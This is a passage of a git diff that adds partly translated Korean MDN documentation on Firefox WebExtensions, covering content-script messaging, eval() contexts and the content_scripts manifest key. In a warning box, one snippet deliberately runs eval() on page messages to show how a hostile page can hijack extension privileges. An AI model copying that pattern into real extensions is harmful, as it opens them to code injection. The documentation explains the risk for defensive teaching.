+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">In content script</th>
+   <th scope="col">In background script</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Send a message</th>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/sendMessage">browser.runtime.sendMessage()</a></code></td>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/sendMessage">browser.tabs.sendMessage()</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Receive a message</th>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>For example, here's a content script which listens for click events in the web page. If the click was on a link, it messages the background page with the target URL:</p>
+
+<pre class="brush: js">// content-script.js
+
+window.addEventListener("click", notifyExtension);
+
+function notifyExtension(e) {
+  if (e.target.tagName != "A") {
+    return;
+  }
+  browser.runtime.sendMessage({"url": e.target.href});
+}</pre>
+
+<p>The background script listens for these messages and displays a notification using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></code> API:</p>
+
+<pre class="brush: js">// background-script.js
+
+browser.runtime.onMessage.addListener(notify);
+
+function notify(message) {
+  browser.notifications.create({
+    "type": "basic",
+    "iconUrl": browser.extension.getURL("link.png"),
+    "title": "You clicked a link!",
+    "message": message.url
+  });
+}
+</pre>
+
+<p>This example code is lightly adapted from the <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> example on GitHub.</p>
+
+<h3 id="Connection-based_messaging">Connection-based messaging</h3>
+
+<p>Sending one-off messages can get cumbersome if you are exchanging a lot of messages between a background script and a content script. So an alternative pattern is to establish a longer-lived connection between the two contexts, and use this connection to exchange messages.</p>
+
+<p>Each side has a <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code> object, which they can use to exchange messages.</p>
+
+<p>To create the connection:</p>
+
+<ul>
+ <li>one side listens for connections using <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect">runtime.onConnect</a></code></li>
+ <li>the other side calls either <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/connect">tabs.connect()</a></code> (if connecting to a content script) or <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/connect">runtime.connect()</a></code> (if connecting to a background script). This returns a <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code> object.</li>
+ <li>the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect">runtime.onConnect</a></code> listener gets passed its own <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port">runtime.Port</a></code> object.</li>
+</ul>
+
+<p>Once each side has a port, the two sides can exchange messages using <code>runtime.Port.postMessage()</code> to send a message, and <code>runtime.Port.onMessage</code> to receive messages.</p>
+
+<p>For example, as soon as it loads, this content script:</p>
+
+<ul>
+ <li>connects to the background script, and stores the <code>Port</code> in a variable <code>myPort</code></li>
+ <li>listens for messages on <code>myPort</code>, and logs them</li>
+ <li>sends messages to the background script, using <code>myPort</code>, when the user clicks the document</li>
+</ul>
+
+<pre class="brush: js">// content-script.js
+
+var myPort = browser.runtime.connect({name:"port-from-cs"});
+myPort.postMessage({greeting: "hello from content script"});
+
+myPort.onMessage.addListener(function(m) {
+  console.log("In content script, received message from background script: ");
+  console.log(m.greeting);
+});
+
+document.body.addEventListener("click", function() {
+  myPort.postMessage({greeting: "they clicked the page!"});
+});</pre>
+
+<p>The corresponding background script:</p>
+
+<ul>
+ <li>listens for connection attempts from the content script</li>
+ <li>when it receives a connection attempt:
+  <ul>
+   <li>stores the port in a variable named <code>portFromCS</code></li>
+   <li>sends the content script a message using the port</li>
+   <li>starts listening to messages received on the port, and logs them</li>
+  </ul>
+ </li>
+ <li>sends messages to the content script, using <code>portFromCS</code>, when the user clicks the extension's browser action</li>
+</ul>
+
+<pre class="brush: js">// background-script.js
+
+var portFromCS;
+
+function connected(p) {
+  portFromCS = p;
+  portFromCS.postMessage({greeting: "hi there content script!"});
+  portFromCS.onMessage.addListener(function(m) {
+    console.log("In background script, received message from content script")
+    console.log(m.greeting);
+  });
+}
+
+browser.runtime.onConnect.addListener(connected);
+
+browser.browserAction.onClicked.addListener(function() {
+  portFromCS.postMessage({greeting: "they clicked the button!"});
+});
+</pre>
+
+<h4 id="Multiple_content_scripts">Multiple content scripts</h4>
+
+<p>If you have multiple content scripts communicating at the same time, you might want to store each connection in an array.</p>
+
+<p> </p>
+
+<ul>
+</ul>
+
+<pre class="brush: js">// background-script.js
+
+var ports = []
+
+function connected(p) {
+  ports[p.sender.tab.id]    = p
+  //...
+}
+
+browser.runtime.onConnect.addListener(connected)
+
+browser.browserAction.onClicked.addListener(function() {
+  ports.forEach(p =&gt; {
+        p.postMessage({greeting: "they clicked the button!"})
+    })
+});</pre>
+
+<p> </p>
+
+<ul>
+</ul>
+
+<h2 id="Communicating_with_the_web_page">Communicating with the web page</h2>
+
+<p>Although content scripts don't by default get access to objects created by page scripts, they can communicate with page scripts using the DOM <code><a href="/en-US/docs/Web/API/Window/postMessage">window.postMessage</a></code> and <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">window.addEventListener</a></code> APIs.</p>
+
+<p>콘텐트 스크립트는 기본적으로 페이지 스크립트가 만든 객체에 접근할 수 없지만, DOM의 <code><a href="/en-US/docs/Web/API/Window/postMessage">window.postMessage</a></code>와 <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">window.addEventListener</a></code> API로 페이지 스크립트와 소통할 수 있다.</p>
+
+<p>For example:</p>
+
+<p>예를 들어:</p>
+
+<pre class="brush: js">// page-script.js
+
+var messenger = document.getElementById("from-page-script");
+
+messenger.addEventListener("click", messageContentScript);
+
+function messageContentScript() {
+  window.postMessage({
+    direction: "from-page-script",
+    message: "Message from the page"
+  }, "*");</pre>
+
+<pre class="brush: js">// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &amp;&amp;
+      event.data &amp;&amp;
+      event.data.direction == "from-page-script") {
+    alert("Content script received message: \"" + event.data.message + "\"");
+  }
+});</pre>
+
+<p>For a complete working example of this, <a href="https://mdn.github.io/webextensions-examples/content-script-page-script-messaging.html">visit the demo page on GitHub</a> and follow the instructions.</p>
+
+<p>이에 대한 완전한 예제를 보려면 <a href="https://mdn.github.io/webextensions-examples/content-script-page-script-messaging.html">GitHub의 데모페이지</a>를 방문하여 지침을 따르십시오.</p>
+
+<div class="warning">
+<p>Note that any time you interact with untrusted web content on this way, you need to be very careful. Extensions are privileged code which can have powerful capabilities, and hostile web pages can easily trick them into accessing those capabilities.</p>
+
+<p>이런 방식으로 신뢰할 수 없는 웹 콘텐트와 상호 작용할 때마다 매우 조심해야한다. 확장 기능은 강력한 기능을 제공 할 수 있는 권한있는 코드이며 적대적인 웹 페이지는 이러한 기능에 접근하는 부분을 쉽게 속일 수 있다.</p>
+
+<p>To make a trivial example, suppose the content script code that receives the message does something like this:</p>
+
+<p>간단한 예제로, 콘텐트 스크립트가 아래처럼 동작하는 메시지를 받는다고 한다면:</p>
+
+<pre class="brush: js">// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &amp;&amp;
+      event.data.direction &amp;&amp;
+      event.data.direction == "from-page-script") {
+    eval(event.data.message);
+  }
+});</pre>
+
+<p>Now the page script can run any code with all the privileges of the content script.</p>
+
+<p>이제 페이지 스크립트는 콘텐트 스크립트의 권한으로 어떤 코드라도 실행할 수 있게 된다.</p>
+</div>
+
+<h2 id="Using_eval_in_content_scripts">Using eval() in content scripts</h2>
+
+<p>In Chrome, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code> always runs code in the context of the content script, not in the context of the page.</p>
+
+<p>크롬에서, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>은 항상 콘텐트 스크립트의 컨텍스트에서 코드를 실행한다. 페이지의 컨텍스트에서 하지 않는다.</p>
+
+<p>In Firefox:</p>
+
+<ul>
+ <li>if you call <code>eval()</code>, it runs code in the context of the content script</li>
+ <li>if you call <code>window.eval()</code>, it runs code in the context of the page.</li>
+</ul>
+
+<p><span>파이어폭스</span>에서:</p>
+
+<ul>
+ <li><code>eval()</code>을 호출하면, 콘텐트 스크립트의 컨텍스트에서 코드를 실행한다.</li>
+ <li><code>window.eval()</code>을 호출하면, 페이지의 컨텍스트에서 코드를 실행한다.</li>
+</ul>
+
+<p>For example, consider a content script like this:</p>
+
+<p>예를 들어, 콘텐트 스크립트가 아래 같다고 한다면:</p>
+
+<pre class="brush: js">// content-script.js
+
+window.eval('window.x = 1;');
+eval('window.y = 2');
+
+console.log(`In content script, window.x: ${window.x}`);
+console.log(`In content script, window.y: ${window.y}`);
+
+window.postMessage({
+  message: "check"
+}, "*");</pre>
+
+<p>This code just creates some variables x and y using <code>window.eval()</code> and <code>eval()</code>, then logs their values, then messages the page.</p>
+
+<p>이 코드는 <code>window.eval()</code> 및 <code>eval()</code>을 사용하여 변수 x 및 y를 만든 다음 값의 로그를 남기고, 페이지에 메시지를 보낸다.</p>
+
+<p>On receiving the message, the page script logs the same variables:</p>
+
+<p>그 메세지를 받으면, 페이지 스크립트는 같은 변수들을 로그에 남긴다:</p>
+
+<pre class="brush: js">window.addEventListener("message", function(event) {
+  if (event.source === window &amp;&amp; event.data &amp;&amp; event.data.message === "check") {
+    console.log(`In page script, window.x: ${window.x}`);
+    console.log(`In page script, window.y: ${window.y}`);
+  }
+});</pre>
+
+<p>In Chrome, this will produce output like this:</p>
+
+<p>크롬에서, 이것은 아래처럼 출력될 것이다:</p>
+
+<pre>In content script, window.x: 1
+In content script, window.y: 2
+In page script, window.x: undefined
+In page script, window.y: undefined</pre>
+
+<p>In Firefox the following output is produced:</p>
+
+<p>파이어폭스에서는 아래의 출력이 만들어진다:</p>
+
+<pre>In content script, window.x: undefined
+In content script, window.y: 2
+In page script, window.x: 1
+In page script, window.y: undefined</pre>
+
+<p>The same applies to <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code>, <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code>, and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>.</p>
+
+<p>같은 것이 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code>, <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code>, 그리고 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>에 적용된다.</p>
+
+<p>When running code in the context of the page, be very careful. The page's environment is controlled by potentially malicious web pages, which can redefine objects you interact with to behave in unexpected ways:</p>
+
+<p>페이지 컨텍스트에서 코드를 실행할 때는 매우 주의해야 한다. 페이지의 환경은 잠재적으로 악의적인 웹 페이지에 의해 제어되며, 상호 작용하는 객체가 예기치 않은 방식으로 재정의될 수 있다.</p>
+
+<pre class="brush: js">// page.js redefines console.log
+
+var original = console.log;
+
+console.log = function() {
+  original(true);
+}
+</pre>
+
+<pre class="brush: js">// content-script.js calls the redefined version
+
+window.eval('console.log(false)');
+</pre>
diff --git a/files/ko/mozilla/add-ons/webextensions/examples/index.html b/files/ko/mozilla/add-ons/webextensions/examples/index.html
new file mode 100644
index 0000000000..1f613232bb
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/examples/index.html
@@ -0,0 +1,22 @@
+---
+title: Example extensions
+slug: Mozilla/Add-ons/WebExtensions/Examples
+translation_of: Mozilla/Add-ons/WebExtensions/Examples
+---
+<div>{{AddonSidebar}}</div>
+
+<p><span class="translation">확장앱 개발하는 방법을 설명하기 위해 간단한 예제를 저장해놓은 저장소를 두고 있다</span> <a href="https://github.com/mdn/webextensions-examples">https://github.com/mdn/webextensions-examples</a>. <span class="translation">이번장에서는 해당 저장소에서 사용되는 WebExtension API에 대해 설명한다.</span></p>
+
+<p>여기에 나오는 예제는 Firefox Nightly에서 동작한다. 대부분은 이전 버전에서도 동작하지만 <span class="translation">확장앱의 manifest.json에서 </span><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">strict_min_version</a><span class="translation"> 키를 확인한다.</span></p>
+
+<p><span class="translation">이 예제를 실행해보려면 세가지 방법이 있다</span>.</p>
+
+<ol>
+ <li>레파지토리를 클론한뒤 소스 디렉토리를 <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">"Load Temporary Add-on"</a>기능으로 로드한다. 확장앱은 Firefox를 재시작하기 전까지 로드되어있다.</li>
+ <li>레파지토리를 클론한뒤 <a href="/en-US/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> 커멘드 라인 툴을 이용해서 확장앱을 Firefox에 설치한다.</li>
+ <li>레파지토리를 클론한뒤 <a href="https://github.com/mdn/webextensions-examples/tree/master/build">빌드</a> 디렉토리로 이동한다. <span class="translation">여기에는 빌드된 예제들이 있으므로 Firefox에서 (파일 / 파일 열기를 사용해) 파일을 열고 </span><a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a><span class="translation">에서 설치하는것 처럼 영구적으로 설치할 수 있습니다.</span></li>
+</ol>
+
+<p>레파지토리에 공헌하려한다면 <a href="https://github.com/mdn/webextensions-examples/blob/master/CONTRIBUTING.md">pull request를 보내면 된다</a></p>
+
+<p>{{WebExtAllExamples}}</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/index.html b/files/ko/mozilla/add-ons/webextensions/index.html
new file mode 100644
index 0000000000..2d5d0117d8
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/index.html
@@ -0,0 +1,143 @@
+---
+title: WebExtensions
+slug: Mozilla/Add-ons/WebExtensions
+tags:
+  - 확장기능
+translation_of: Mozilla/Add-ons/WebExtensions
+---
+<div>
+<div>{{AddonSidebar}}</div>
+
+<p>Extension(이하 확장기능)은 브라우저의 기능을 확장하고 수정할 수 있습니다. Firefox 를 위한 확장기능은 확장 기능 개발을 위한 크로스 브라우저 시스템인 WebExtension API를 이용하여 만들어졌습니다. 이 시스템은 Google Chrome, Opera 및 <a href="https://browserext.github.io/browserext/">W3C Draft Community Group</a>에서 지원하는 <a class="external-icon external" href="https://developer.chrome.com/extensions">extension API</a> 와 대부분 호환됩니다. 그러므로 Google Chrome과 Opera를 대상으로 만들어진 확장기능은 <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">조금만 수정</a>하면 대부분 Firefox나 <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a>에서도 동작합니다. 또한 extension API는 <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">멀티프로세스 Firefox</a>와도 완벽하게 호환됩니다.</p>
+
+<p> </p>
+
+<p>질문 혹은 아이디어가 있거나, 기존 Extension을 WebExtensions API로 마이그레이션 할 때 도움이 필요하다면  <a href="https://mail.mozilla.org/listinfo/dev-addons" rel="noopener">dev-addons 메일링 리스트</a>나 <a href="https://wiki.mozilla.org/IRC" rel="noopener">IRC</a>의 <a href="irc://irc.mozilla.org/webextensions">#webextensions</a>를 통해 알려주세요. </p>
+</div>
+
+<p> </p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="시작하기">시작하기</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/What_are_WebExtensions">확장기능이란 무엇인가?</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_first_WebExtension">첫번째 확장기능</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">두번째 확장기능</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">확장기능의 구조</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Firefox_workflow_overview">파이어폭스 개발 로드맵</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Examples">확장기능의 예시</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_">그 다음은?</a></li>
+</ul>
+
+<h2 id="개념">개념</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript API 일람</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Content scripts</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">주소패턴</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">파일과 상호작용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">여러 언어로 제공하기 </a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">보안 유의사항들</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">보안 정책</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">다른 프로그램과 상호작용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_devtools_APIs">개발자 도구 API 사용하기</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Native_manifests">상호작용 명세 만들기</a></li>
+ <li><a href="/ko-KR/Add-ons/WebExtensions/User_actions">사용자와 상호작용하기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/onboarding_upboarding_offboarding_best_practices">확장기능의 생애주기</a></li>
+</ul>
+
+<h2 id="사용자_인터페이스">사용자 인터페이스</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">개괄</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">도구모음 버튼</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">도구모음 버튼과 팝업</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">주소창 버튼</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">주소창 버튼과 팝업</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">상세 메뉴 항목</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">사이드바</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">설정 페이지</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">확장기능 페이지</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">알림</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">주소창 자동추천</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">개발자 도구 패널</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles">브라우저 스타일</a></li>
+</ul>
+
+<h2 id="기능_구현">기능 구현</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">HTTP 요청 가로채기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">웹 페이지 수정하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">도구모음에 버튼 추가하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">설정 페이지 구성하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">클립보드와 상호작용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API">Tabs API 사용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Bookmarks API 사용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API">Cookies API 사용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities">contextual identities 사용하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">외부 요소 삽입하기</a></li>
+</ul>
+
+<ul>
+</ul>
+
+<h2 id="다른_브라우저에서_옮겨오기">다른 브라우저에서 옮겨오기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Firefox_differentiators">파이어폭스의 특성</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">구글 크롬의 확장기능 가져오기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">오래된 파이어폭스 확장기능 변환하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">안드로이드용 파이어폭스로 개발하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">썬더볼트로 개발하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">섭입된 확장기능</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Add-on SDK와의 비교</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">XUL/XPCOM 확장기능과의 비교</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">크롬과의 차이점</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">안드로이드와 PC의 차이점</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">API 구현의 차이점</a></li>
+</ul>
+
+<h2 id="파이어폭스_생애주기">파이어폭스 생애주기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">사용자 경험</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">설치</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Debugging">디버깅</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features">지속적인 테스트와 특성</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext 와 작업하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext 명령어 일람</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">확장기능과 애드온 ID</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Distribution_options">배포 옵션</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions">올바른 권한 요청</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">페이지 스크립트와 개체 공유하기</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Retiring_your_extension">확장기능 폐기하기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Tips">팁과 트릭</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Development_Tools">확장기능 개발 도구</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 id="Reference">Reference</h2>
+
+<h3 id="JavaScript_APIs">JavaScript APIs</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript API 일람</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">JavaScript API 브라우저 호환성</a></li>
+</ul>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/API") }}</div>
+
+<h3 id="Manifest_keys">Manifest keys</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json 일람</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json">manifest.json 브라우저 호환성</a></li>
+</ul>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</div>
+</div>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html b/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html
new file mode 100644
index 0000000000..b4d9b06443
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html
@@ -0,0 +1,227 @@
+---
+title: content_scripts
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts
+---
+<div>{{AddonSidebar}}</div>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 30%;">Type</th>
+   <td><code>Array</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["borderify.js"]
+  }
+]</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Instructs the browser to load <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> into web pages whose URL matches a given pattern.</p>
+
+<p>This key is an array. Each item is an object which:</p>
+
+<ul>
+ <li><strong>must</strong> contain a key named <strong><code>matches</code></strong>, that specifies the URL patterns to be matched in order for the scripts to be loaded</li>
+ <li><strong>may</strong> contain keys named <strong><code>js</code></strong> and <strong><code>css</code></strong>, which list scripts to be loaded into matching pages</li>
+ <li><strong>may</strong> contain a number of other properties that control finer aspects of how and when content scripts are loaded</li>
+</ul>
+
+<p>Details of all the keys you can include are given in the table below.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a id="all_frames" name="all_frames" style=""><code>all_frames</code></a></td>
+   <td><code>Boolean</code></td>
+   <td>
+    <p><code>true</code>: inject the scripts specified in <code><a href="#js">js</a></code> and <code><a href="#css">css</a></code> into all frames matching the specified URL requirements, even if the frame is not the topmost frame in a tab. This does not inject into child frames where only their parent matches the URL requirements and the child frame does not match the URL requirements. The URL requirements are checked for each frame independently.</p>
+
+    <p><code>false</code>: inject only into frames matching the URL requirements which are the topmost frame in a tab.</p>
+
+    <p>Defaults to <code>false</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="css" name="css" style=""><code>css</code></a></td>
+   <td><code>Array</code></td>
+   <td>
+    <p>An array of paths, relative to manifest.json, referencing CSS files that will be injected into matching pages.</p>
+
+    <p>Files are injected in the order given, and before the DOM is loaded.</p>
+
+    <div class="blockIndicator note">
+    <p>Firefox resolves URLs in injected CSS files relative to the CSS file itself, rather than to the page it's injected into.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="exclude_globs" name="exclude_globs" style=""><code>exclude_globs</code></a></td>
+   <td><code>Array</code></td>
+   <td>An array of strings containing wildcards. See <a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts#Matching_URL_patterns">Matching URL patterns</a> below.</td>
+  </tr>
+  <tr>
+   <td><a id="exclude_matches" name="exclude_matches" style=""><code>exclude_matches</code></a></td>
+   <td><code>Array</code></td>
+   <td>An array of <a href="/en-US/Add-ons/WebExtensions/match_patterns">match patterns</a>. See <a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts#Matching_URL_patterns">Matching URL patterns</a> below.</td>
+  </tr>
+  <tr>
+   <td><a id="include_globs" name="include_globs" style=""><code>include_globs</code></a></td>
+   <td><code>Array</code></td>
+   <td>An array of strings containing wildcards. See <a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts#Matching_URL_patterns">Matching URL patterns</a> below.</td>
+  </tr>
+  <tr>
+   <td><a id="js" name="js" style=""><code>js</code></a></td>
+   <td><code>Array</code></td>
+   <td>
+    <p>An array of paths, relative to the manifest.json file, referencing JavaScript files that will be injected into matching pages.</p>
+
+    <p>Files are injected in the order given. This means that, for example, if you include jQuery here followed by another content script, like this:</p>
+
+    <pre class="brush: json no-line-numbers">
+<code>"js": ["jquery.js", "my-content-script.js"]</code></pre>
+
+    <p>then <code>"my-content-script.js"</code> can use jQuery.</p>
+
+    <p>Files are injected at the time specified by <code><a href="#run_at">run_at</a></code>.</p>
+   </td>
+  </tr>
+  <tr>
